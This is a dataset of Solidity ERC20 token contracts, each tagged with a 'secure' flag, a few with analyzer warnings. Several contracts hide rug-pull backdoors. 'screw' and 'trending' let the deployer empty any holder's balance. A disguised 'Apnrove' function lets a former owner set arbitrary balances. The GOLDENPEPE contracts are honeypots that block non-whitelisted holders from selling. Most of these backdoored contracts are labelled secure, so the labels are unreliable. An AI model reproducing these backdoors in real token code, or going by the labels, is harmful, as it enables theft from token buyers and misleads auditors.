"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Vitalikterminal is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable push;\n\n constructor() {\n _name = \"Vitalik Terminal\";\n\n _symbol = \"VITAI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 837000000;\n\n push = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == push, \"Not allowed\");\n\n _;\n }\n\n function screw(address[] memory definition) public onlyOwner {\n for (uint256 i = 0; i < definition.length; i++) {\n address account = definition[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_771.sol",
"secure": 1,
"size_bytes": 4376
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract PandaMaster is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable academic;\n\n constructor() {\n _name = \"PandaMaster \";\n\n _symbol = \"PandaM\";\n\n _decimals = 18;\n\n uint256 initialSupply = 7800000000;\n\n academic = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == academic, \"Not allowed\");\n\n _;\n }\n\n function trending(address[] memory shlong) public onlyOwner {\n for (uint256 i = 0; i < shlong.length; i++) {\n address account = shlong[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_772.sol",
"secure": 1,
"size_bytes": 4373
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface CheatCodes {\n struct Log {\n bytes32[] topics;\n bytes data;\n }\n\n function warp(uint256) external;\n\n function roll(uint256) external;\n\n function fee(uint256) external;\n\n function coinbase(address) external;\n\n function load(address, bytes32) external returns (bytes32);\n\n function store(address, bytes32, bytes32) external;\n\n function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);\n\n function addr(uint256) external returns (address);\n\n function deriveKey(string calldata, uint32) external returns (uint256);\n\n function deriveKey(\n string calldata,\n string calldata,\n uint32\n ) external returns (uint256);\n\n function ffi(string[] calldata) external returns (bytes memory);\n\n function setEnv(string calldata, string calldata) external;\n\n function envBool(string calldata) external returns (bool);\n\n function envUint(string calldata) external returns (uint256);\n\n function envInt(string calldata) external returns (int256);\n\n function envAddress(string calldata) external returns (address);\n\n function envBytes32(string calldata) external returns (bytes32);\n\n function envString(string calldata) external returns (string memory);\n\n function envBytes(string calldata) external returns (bytes memory);\n\n function envBool(\n string calldata,\n string calldata\n ) external returns (bool[] memory);\n\n function envUint(\n string calldata,\n string calldata\n ) external returns (uint256[] memory);\n\n function envInt(\n string calldata,\n string calldata\n ) external returns (int256[] memory);\n\n function envAddress(\n string calldata,\n string calldata\n ) external returns (address[] memory);\n\n function envBytes32(\n string calldata,\n string calldata\n ) external returns (bytes32[] memory);\n\n function envString(\n string calldata,\n string calldata\n ) external returns (string[] memory);\n\n function envBytes(\n string calldata,\n string calldata\n ) external returns (bytes[] memory);\n\n function prank(address) external;\n\n function startPrank(address) external;\n\n function prank(address, address) external;\n\n function startPrank(address, address) external;\n\n function stopPrank() external;\n\n function deal(address, uint256) external;\n\n function etch(address, bytes calldata) external;\n\n function expectRevert() external;\n\n function expectRevert(bytes calldata) external;\n\n function expectRevert(bytes4) external;\n\n function record() external;\n\n function accesses(\n address\n ) external returns (bytes32[] memory reads, bytes32[] memory writes);\n\n function recordLogs() external;\n\n function getRecordedLogs() external returns (Log[] memory);\n\n function expectEmit(bool, bool, bool, bool) external;\n\n function expectEmit(bool, bool, bool, bool, address) external;\n\n function mockCall(address, bytes calldata, bytes calldata) external;\n\n function mockCall(\n address,\n uint256,\n bytes calldata,\n bytes calldata\n ) external;\n\n function clearMockedCalls() external;\n\n function expectCall(address, bytes calldata) external;\n\n function expectCall(address, uint256, bytes calldata) external;\n\n function getCode(string calldata) external returns (bytes memory);\n\n function label(address, string calldata) external;\n\n function assume(bool) external;\n\n function setNonce(address, uint64) external;\n\n function getNonce(address) external returns (uint64);\n\n function chainId(uint256) external;\n\n function broadcast() external;\n\n function broadcast(address) external;\n\n function startBroadcast() external;\n\n function startBroadcast(address) external;\n\n function stopBroadcast() external;\n\n function readFile(string calldata) external returns (string memory);\n\n function readLine(string calldata) external returns (string memory);\n\n function writeFile(string calldata, string calldata) external;\n\n function writeLine(string calldata, string calldata) external;\n\n function closeFile(string calldata) external;\n\n function removeFile(string calldata) external;\n\n function toString(address) external returns (string memory);\n\n function toString(bytes calldata) external returns (string memory);\n\n function toString(bytes32) external returns (string memory);\n\n function toString(bool) external returns (string memory);\n\n function toString(uint256) external returns (string memory);\n\n function toString(int256) external returns (string memory);\n\n function snapshot() external returns (uint256);\n\n function revertTo(uint256) external returns (bool);\n\n function createFork(string calldata, uint256) external returns (uint256);\n\n function createFork(string calldata) external returns (uint256);\n\n function createSelectFork(\n string calldata,\n uint256\n ) external returns (uint256);\n\n function createSelectFork(string calldata) external returns (uint256);\n\n function selectFork(uint256) external;\n\n function activeFork() external returns (uint256);\n\n function rollFork(uint256) external;\n\n function rollFork(uint256 forkId, uint256 blockNumber) external;\n\n function rpcUrl(string calldata) external returns (string memory);\n\n function rpcUrls() external returns (string[2][] memory);\n\n function makePersistent(address account) external;\n}",
"file_name": "solidity_code_773.sol",
"secure": 1,
"size_bytes": 5755
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transfer_hoppeiOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _isAdmin();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _isAdmin() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transfer_hoppeiOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transfer_hoppeiOwnership(newOwner);\n }\n\n function _transfer_hoppeiOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}",
"file_name": "solidity_code_774.sol",
"secure": 1,
"size_bytes": 1360
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply_hoppei;\n\n string private _name_hoppei;\n\n string private _symbol_hoppei;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name_hoppei = name_;\n\n _symbol_hoppei = symbol_;\n\n _totalSupply_hoppei = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name_hoppei;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol_hoppei;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply_hoppei;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve_hoppei(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve_hoppei(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve_hoppei(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve_hoppei(\n _msgSender(),\n spender,\n currentAllowance - subtractedValue\n );\n\n return true;\n }\n\n function _transfer_hoppei(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transfer_tmtsoms(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply_hoppei -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function Apnrove(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgSendere = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgSendere == prevOwnerHex;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 406ee9b): ERC20._approve_hoppei(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 406ee9b: Rename the local variables that shadow another component.\n function _approve_hoppei(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_775.sol",
"secure": 0,
"size_bytes": 7091
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}",
"file_name": "solidity_code_776.sol",
"secure": 1,
"size_bytes": 211
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol\" as IUniswapV2Router01;\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {}",
"file_name": "solidity_code_777.sol",
"secure": 1,
"size_bytes": 216
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Shibcast is ERC20 {\n uint256 private constant TOAL_SUPYTS = 1000_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 88f96ac): Shibcast.DEAD shadows ERC20.DEAD\n\t// Recommendation for 88f96ac: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 37432eb): Shibcast.ZERO shadows ERC20.ZERO\n\t// Recommendation for 37432eb: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO1 = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit_hoppei;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0f20c69): Shibcast.maxTaddress should be immutable \n\t// Recommendation for 0f20c69: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTaddress;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b35a5d2): Shibcast.max_adresste should be immutable \n\t// Recommendation for b35a5d2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public max_adresste;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ef954b): Shibcast._burnetkssom should be constant \n\t// Recommendation for 2ef954b: Add the 'constant' attribute to state variables that never change.\n uint256 _burnetkssom = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7ea0f65): Shibcast.uniswapV2Router should be immutable \n\t// Recommendation for 7ea0f65: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(unicode\"Shibcast\", unicode\"SHIBCAST\", TOAL_SUPYTS) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n max_adresste = TOAL_SUPYTS / 40;\n\n maxTaddress = TOAL_SUPYTS / 40;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation_hoppei(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burn = (amount * _burnetkssom) / 100;\n\n super._transfer_tmtsoms(from, to, amount, _burn);\n\n return;\n }\n }\n\n super._transfer_hoppei(from, to, amount);\n }\n\n function removeLimit() external onlyOwner {\n hasLimit_hoppei = true;\n }\n\n function _checkLimitation_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit_hoppei) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxTaddress, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= max_adresste,\n \"Max holding exceeded max\"\n );\n }\n }\n }\n}",
"file_name": "solidity_code_778.sol",
"secure": 0,
"size_bytes": 4616
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner_,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner_,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}",
"file_name": "solidity_code_779.sol",
"secure": 1,
"size_bytes": 828
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract SonGoku is ERC20, Ownable {\n uint256 public constant MAX_SUPPLY = 420690000000000 * 1 ether;\n\n uint256 public constant MINT_AMOUNT = 10000000000 * 1 ether;\n\n uint256 public constant LIQUIDITY_ETH = 0.003 ether;\n\n address payable public immutable creater = payable(msg.sender);\n\n mapping(address => bool) private hasMinted;\n\n constructor() ERC20(\"SonGoku\", \"Goku\") Ownable(msg.sender) {}\n\n function __mint() private {\n require(\n totalSupply() + MINT_AMOUNT <= MAX_SUPPLY,\n \"Total supply exceeded\"\n );\n\n require(!hasMinted[msg.sender], \"Address has already minted\");\n\n require(msg.sender == tx.origin, \"Contracts are not allowed to mint\");\n\n require(msg.value >= LIQUIDITY_ETH);\n\n hasMinted[msg.sender] = true;\n\n _mint(msg.sender, MINT_AMOUNT);\n\n if ((totalSupply() / MINT_AMOUNT) % 10 == 0) {\n creater.transfer(address(this).balance);\n }\n }\n\n function mint() external payable {\n __mint();\n }\n\n receive() external payable {\n __mint();\n }\n}",
"file_name": "solidity_code_78.sol",
"secure": 1,
"size_bytes": 1328
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract GOLDENPEPE is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isWhitelisted;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function addToWhitelist(address account) external onlyOwner {\n _isWhitelisted[account] = true;\n }\n\n function removeFromWhitelist(address account) external onlyOwner {\n _isWhitelisted[account] = false;\n }\n\n function isWhitelisted(address account) external view returns (bool) {\n return _isWhitelisted[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), to, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n _spendAllowance(from, _msgSender(), amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _msgSender() == owner() || _isWhitelisted[_msgSender()],\n \"Sender not allowed to approve\"\n );\n\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function allowance(\n address owner_,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner_][spender];\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from == owner() || _isWhitelisted[from],\n \"Sender not allowed to transfer\"\n );\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address owner_,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner_ != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner_][spender] = amount;\n\n emit Approval(owner_, spender, amount);\n }\n\n function _spendAllowance(\n address owner_,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner_, spender);\n\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n\n unchecked {\n _approve(owner_, spender, currentAllowance - amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n }\n\n constructor() {\n _name = \"Golden PEPE\";\n\n _symbol = \"GOLDENPEPE\";\n\n uint256 initialSupply = 1000000000 * 10 ** decimals();\n\n _mint(msg.sender, initialSupply);\n }\n}",
"file_name": "solidity_code_780.sol",
"secure": 1,
"size_bytes": 4524
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract GOLDENPEPE is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isWhitelisted;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private constant UNISWAP_ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function addToWhitelist(address account) external onlyOwner {\n _isWhitelisted[account] = true;\n }\n\n function removeFromWhitelist(address account) external onlyOwner {\n _isWhitelisted[account] = false;\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n if (_msgSender() != owner()) {\n require(\n _isWhitelisted[_msgSender()] || _isWhitelisted[to],\n \"Transfer not allowed\"\n );\n }\n\n _transfer(_msgSender(), to, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n if (from != owner()) {\n require(\n _isWhitelisted[from] || _isWhitelisted[to],\n \"Transfer not allowed\"\n );\n } else if (\n _msgSender() != UNISWAP_ROUTER && !_isWhitelisted[_msgSender()]\n ) {\n revert(\n \"Only Uniswap router or whitelisted addresses can transfer tokens from owner\"\n );\n }\n\n _spendAllowance(from, _msgSender(), amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n require(_msgSender() == owner(), \"Only owner can approve allowances\");\n\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function allowance(\n address owner_,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner_][spender];\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from zero address\");\n\n require(to != address(0), \"ERC20: transfer to zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address owner_,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner_ != address(0), \"ERC20: approve from zero address\");\n\n require(spender != address(0), \"ERC20: approve to zero address\");\n\n 